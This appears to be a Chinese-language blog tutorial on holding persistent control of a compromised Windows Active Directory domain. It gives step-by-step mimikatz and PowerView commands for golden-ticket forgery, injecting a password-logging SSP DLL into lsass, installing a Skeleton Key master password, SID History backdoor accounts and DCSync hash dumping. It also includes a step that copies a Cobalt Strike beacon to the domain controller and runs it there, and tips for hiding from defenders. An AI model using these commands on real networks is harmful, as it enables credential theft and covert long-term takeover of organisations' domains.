域 - 权限维持
总述
本文讲解了在拿下 域管、域控 后,如何进行权限维持。
神
1. 黄金票据(PTT)
2. SSP
记录登录的明文密码
3. Skeleton Key
万能密码
4. SID History
隐蔽的伪造 域管 用户
5. Dsync
其实是最好的方式,因为 Dsync 是正常的业务行为,安全设备不开启告警的话那就不会引发对吧,除了需要考虑可以赋予 Dsync 权限的手法如何绕过安全设备以外,调用是很隐蔽的;如果开启了告警的话,这个正常业务那么多,流量非常庞大如何找到我们这条流量呢?
1. 黄金票据(PTT)
PTT(Pass-the-Ticket)攻击是一种针对 Kerberos 认证协议的攻击方法。它属于凭证滥用攻击的一种形式,在这种攻击中,攻击者获取并使用合法用户的 Kerberos 票据(ticket)来冒充该用户,并在网络中执行未授权的操作。
原理
如下图:
如果我们在用户阶段伪造 TGT 票据给 DC 的 TGS 检验然后生成 ST 的话,如果我们伪造的 TGT 实现可以通过 TGS 的验证的话,那么是不是任何的 ST 我们想要的话都可以生成呢?因此我们要做的就是要实现 TGT 的真实伪造,使得我们伪造的 TGT 可以通过 TGS 的认证 任意生成 ST。
而要做到这点,我们就需要知道 TGS 的认证流程和检验方式,在 “域环境密码获取 - 专业文档” 当中详细描述了认证的流程:
此处简单总结下:
KDC(AS) 下发到 张三用户的 TGT 当中包含了:
Client ID - 客户机登录端的登录者信息
Ticket有效时间 - 该 TGT 的有效时长
Client 地址 - 客户机的 地址
Client/TGS SessionKey - TGS 密钥(也可叫做 KDC 密钥,本质上为 krbtgt 用户的 NTLM_Hash)
因此我们不难发现,如果我们要在 Client 端进行 TGT 的伪造的话,我们需要的条件都出来了对吧,而且我们唯一需要获取到的就是 “Client/TGS SessionKey - TGS 密钥” 即 “krbtgt 用户的 NTLM_Hash” 了,对吧。
TGT - Ticket Granting Ticket - 黄金票据:用户向 DC 的 TGS 申请生成白银票据访问服务用的。
ST - Service Ticket - 白银票据:TGS 生成的允许 某用户 访问 某服务 的 票据。

详细流程
1、第一步:
客户端拿着身份证去AS认证,认证通过后返回一张去TGS口买票的票(TGT)


2、第二步
客户端拿着TGT去卖票窗口(TGS)买一张去服务端的票(ST)

3、第三步
客户端拿着ST去访问服务端

黄金票据就是伪造 TGT 票据,有了 TGT 的票据就可以得到 ST 票据,实现访问服务端系统,伪造 TGT 的重点就是 KRBTGT 用户的 HASH 值,有了这个值就可以伪造。
利用条件
我们上述的 原理 和 流程 当中已经分析得出,我们唯一需要的其实就只是:krbtgt 用户的 NTLM_Hash 的值。
此处我们所说的利用条件为:
CS 模块当中 自动化生成黄金票据 所需的 一些参数信息。
1. User - 需要伪造的域内用户的用户名,伪造用户名,可以是任意的
2. Domain - 域名称
3. Domain SID - 域的 SID
4. KRBTGT Hash - krbtgt 用户的 NTLM_Hash 的值




利用
1、利用条件的获取
1. 伪造用户名的获取
1)administrator
因为无论是 普通 Windows 主机 还是 域控,肯定都有默认自带的 administrator 用户。
2)net user /domain
net user /domain

3)wmic useraccount list brief
wmic useraccount list brief

net group "domain admins" /domain
net group "domain admins" /domain
net group "enterprise admins" /domain

2. 域名称
1)whoami
whoami

2)net config workstation
net config workstation

3)ipconfig /displaydns
ipconfig /displaydns

4)ipconfig /all
ipconfig /all

3. 域 SID
1)whoami /user
whoami /user

2)wmic useraccount list brief
wmic useraccount list brief

4. krbtgt 账户 NTLM_Hash
1)mimikatz lsadump::dsync
mimikatz lsadump::dcsync /user:[email protected]
mimikatz lsadump::dcsync /domain:qiaoshen.local /all /csv


2、黄金票据生成 - TGT 票据伪造
1. 清除当前环境票据信息
1、查看当前主机上的 TGT 票据信息
klist
mimikatz kerberos::list


2、测试当前票据是否可以访问 DC

3、清除当前主机的票据信息情况
klist purge
mimikatz kerberos::purge


2、mimikatz伪造指定用户的票据并注入内存
1)CS 模块化





白银票据

2)mimikatz 命令
其实上面的 模块 实现的 黄金票据 的生成本质上也就是利用的这个 mimikatz 的功能实现的。
mimikatz kerberos::golden /user:administrator /domain:qiaoshen.local /sid:S-1-5-21-1180965504-3738377390-1973350559 /krbtgt:a869a...b6 /endin:480 /renewmax:10080 /ptt
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ptt:pass the ticket - 黄金票据导入到内存当中直接用
/ticket:生成的票据名称
上面的命令是生成票据并打入内存当中,这条命令是把 黄金票据 导出保存为文件,下次使用的时候我们直接导入即可:
mimikatz kerberos::golden /user:administrator /domain:qiaoshen.local /sid:S-1-5-21-1180965504-3738377390-1973350559 /krbtgt:a869a...b6 /ticket:golden.kirbi
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ptt:pass the ticket - 黄金票据导入到内存当中直接用
/ticket:生成的票据名称
下次需要用,通过 mimikatz 的 kerberos::ptt 的功能,导入我们的 黄金票据 进行利用:
mimikatz kerberos::purge
mimikatz kerberos::ptt golden.kiribi
mimikatz kerberos::list



3、 得到域控shell
upload /root/beacon.exe (C:\Users\de1ay.DE1AY\Desktop\beacon.exe)
shell copy C:\Users\de1ay.DE1AY\Desktop\beacon.exe \\10.10.10.10\c$
shell wmic /authority:"kerberos:de1ay.com\DC" /node:"DC" process call create "cmd /c c:\beacon.exe"
connect 10.10.10.10

2. SSP
简介
SSP:security Support Provider ,一个用于身份验证的 dll,主要用于 Windows 操作系统的身份
认证功能,例如 NTLM、Kerberos、Negotiate、Secure Channel(Schannel)、Digest、Credential(CredSSP)。
SSPI:Security Support Provider Interface,Windows 系统在执行认证操作所使用的API。
SSPI 是 SSP 的 API 接口。
LSA:Local Security Authority,用于身份认证,常见进程为 lsass.exe,特别的地方在于 LSA 是 可扩展的,在系统启动的时候 SSP 会被加载到进程 lsass.exe 中.这相当于我们可以自定义一个 dll,在系统启动的时候被加载到进程 lsass.exe。
原理
系统在启动时 SSP 会被加载到 lsass.exe 进程中,由于 lsa 可扩展,导致在系统启动时我们可以加载一个自定义的 dll,一个用于记录所有登录到当前系统的明文账号密码的 dll, 利用 mimikatz 中 mimilib.dll 文件。
将 mimikatz 中的 mimilib.dll 放到系统的 C:\Windows\system32 目录下(DLL 的位数需要与 Windows 位数相同),并将 mimilib.dll 添加到注册表中,使用此方法即使系统重启,也不会影响到持久化的效果。
利用
1. 注册表
写入到注册表当中。
优点是:持久化,重启依然生效。
缺点是:写入以后,第一次生效需要重启才能生效。
写入到 C:\Windows\System32\mimilsa.log 文件当中
可配合 内存 方法实现立即生效。
copy mimilib.dll %systemroot%\system32
reg query hklm\system\currentcontrolset\control\lsa\ /v "Security Packages"
# 替换
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "mimilib.dll" /t REG_MULTI_SZ /f
# 追加
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ /f
- 可以选择追加,因为追加有多个 dll,这样可以混淆蓝队的视野,真正起作用的是我们的 mimilib,mimilib.dll 是我们的恶意 dll。
- 追加的方式当中 \0 是 reg 当中 REG_MULTI_SZ 格式的换行表示方式。
- 注意:尽量在 powershell 中执行 reg,在 cmd 中执行可能会报错。





计算机重启后,如果有用户成功登录到当前系统中,会在 C:\Windows\System32 目录下生成一个用于记录登账账号密码的 kiwissp.log 文件。

2. 内存
Memory Updating of SSPs:
第二种方式是注入到内存当中。
优点是:无需重启,立即生效。
缺点是:无法持久化,重启便丢失。
写入到 C:\Windows\System32\mimilsa.log 文件当中
可配合 注册表 方法实现持久化
使用mimikatz将伪造的SSP注入内存,这样做不会在系统中留下二进制文件,但如果域控制器重启,被注入内存的伪造的SSP将会丢失。
mimikatz privilege::debug
mimikatz misc::memssp
type C:\Windows\System32\mimilsa.log



3. Skeleton Key
简介
Skeleton Key是一种不需要域控重启即能生效的维持域控权限方法。
Skeleton Key 被安装在 64 位的域控服务器上,支持 Windows Server2003 — Windows Server2012 R2 ,能够让所有域用户使用同一个万能密码进行登录,现有的所有域用户使用原密码仍能继续登录,注意并不能更改用户权限,重启后失效。
利用
1、在域控安装Skeleton Key
mimikatz privilege::debug
mimikatz misc::skeleton

2、域内主机使用 Skeleton Key 登录域控
mimikatz 的默认 Skeleton Key 设置为 “mimikatz”,Skeleton Key只是给所有账户添加了一个万能密码,无法修改账户的权限。
net use \\DC.qiaoshen.local mimikatz /user:[email protected]


4. SID History
简介
每个用户都有自己的SID。SID的作用主要是跟踪安全主体控制用户连接资源时的访问权限。
SID History是在域迁移过程中需要使用的一个属性。
如果将 A域 中的域用户迁移到 B域 中,那么在 B域 中该用户的 SID 会随之改变,进而影响迁移后用户的权限,导致迁移后的用户不能访问本来可以访问的资源。
SID History 的作用是在域迁移过程中保持域用户的访问权限,即如果迁移后用户的 SID 改变了,系统会将其原来的 SID 添加到迁移后用户的 SID History 属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。
使用 mimikatz,可以将 SID History 属性添加到域中任意用户的 SID History 属性中。在实战中,如果获得了域管理员权限,则可以将 SID History 作为实现持久化的方法。
利用
1、域控上添加并启用域账户
# 这个是域控上添加账户的 命令,当然也可以使用 "net user HISID SID_HIS /add" 这样的方式来添加。
dsadd user cn=HISID,dc=qiaoshen,dc=local -disabled no -pwd 1qaz@WSX


2、Mimikatz 添加后门
mimikatz privilege::debug
mimikatz sid::patch
mimikatz sid::add /sam:HISID /new:administrator

3、PowerShell查看 HISID 用户的 SID History
Import-Module ActiveDirectory
Get-ADUser HISID -Properties sidhistory

4、验证域用户 HISID 是否有具有 administrator 权限


5. Dcsync
简介
在域环境中,不同域控制器之间,每 15 分钟都会有一次域数据的同步。
当一个域控制器(DC 1)想从 其他域控制器(DC2)获取数据时,DC 1 会向 DC 2 发起一个 GetNCChanges 请求,该请求的数据包括需要同步的数据。如果需要同步的数据比较多,则会重复上述过程。
DCSync 是 mimikatz 在 2015 年添加的一个功能,利用的这个原理,可以通过 Directory Replication Service(DRS)服务的 GetNCChanges 接口向域控发起数据同步请求。该功能可以模仿一个域控制器,从真实的域控制器中请求数据,例如用户的哈希。该功能最大的特点就是可以实现不登录到域控而获取域控上的数据。
当获得了域内管理员权限,如果能修改域内普通用户的权限,使其具有 DCSync 权限的话,那么普通域用户也能导出域内用户的哈希,这样可以做一个隐蔽的权限维持。
默认只有 域控主机账号 和 域管理员 能 Dcsync ,域管 和 邮件服务器的机器账号 有写 ACL 的权限,可以给指定用户添加 Dcsync 来 dump 域哈希。
在域内用户所具有的权限其实最根本是看用户的 DACL,那么对于 DCSync 攻击来说,只要域用户拥有以下三条 DACL 即可向域控发出数据同步请求,从而 dump 出域内用户 hash,这三条 DACL 分别为:
复制目录更改(DS-Replication-Get-Changes)
全部复制目录更改 (DS-Replication-Get-Changes-All )
在过滤集中复制目录更改(可有可无)(DS-Replication-Get-Changes-In-Filtered-Set)
以下用户默认拥有该权限:
Administrators组内的用户
Domain Admins组内的用户
Enterprise Admins组内的用户
域控制器的计算机帐户
利用
默认域控可以用 dcsync 直接导出域内所有域用户的 hash。
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:qiaoshen.local /all /csv" exit
# 可以导出指定用户hash
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:qiaoshen.local /user:administrator" exit


但普通域用户则没有该权限。
此时就可以通过域控给域普通用户添加上述三条 DACL,即可向域控发出数据同步请求,可以使用powerview 中的 Add-DomainObjectAcl 函数写入 DCSync 权限。


1、赋予 DCSync 权限
powershell -exec bypass
import-module C:\tool\PowerView.ps1
# 添加 DCSync 权限
Add-DomainObjectAcl -TargetIdentity "DC=qiaoshen,DC=local" -PrincipalIdentity **username** -Rights DCSync -Verbose
# 删除 DCSync 权限
Remove-DomainObjectAcl -TargetIdentity "DC=qiaoshen,DC=local" -PrincipalIdentity **username** -Rights DCSync -Verbose
# 赋予 bob 用户 DCSync 权限
Add-DomainObjectAcl -TargetIdentity "DC=qiaoshen,DC=local" -PrincipalIdentity bob -Rights DCSync -Verbose
# 删除 bob 用户 DCSync 权限
Remove-DomainObjectAcl -TargetIdentity "DC=qiaoshen,DC=local" -PrincipalIdentity bob -Rights DCSync -Verbose



2、利用 DCSync 权限
# 此时,在我们赋予的拥有 DCSync 权限的普通域用户的权限下,执行 DCSync 同步的操作
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:qiaoshen.local /all /csv" exit
# 可以导出指定用户hash
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:qiaoshen.local /user:administrator" exit



版权声明:
本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自
QiaoShen-World!
喜欢就支持一下吧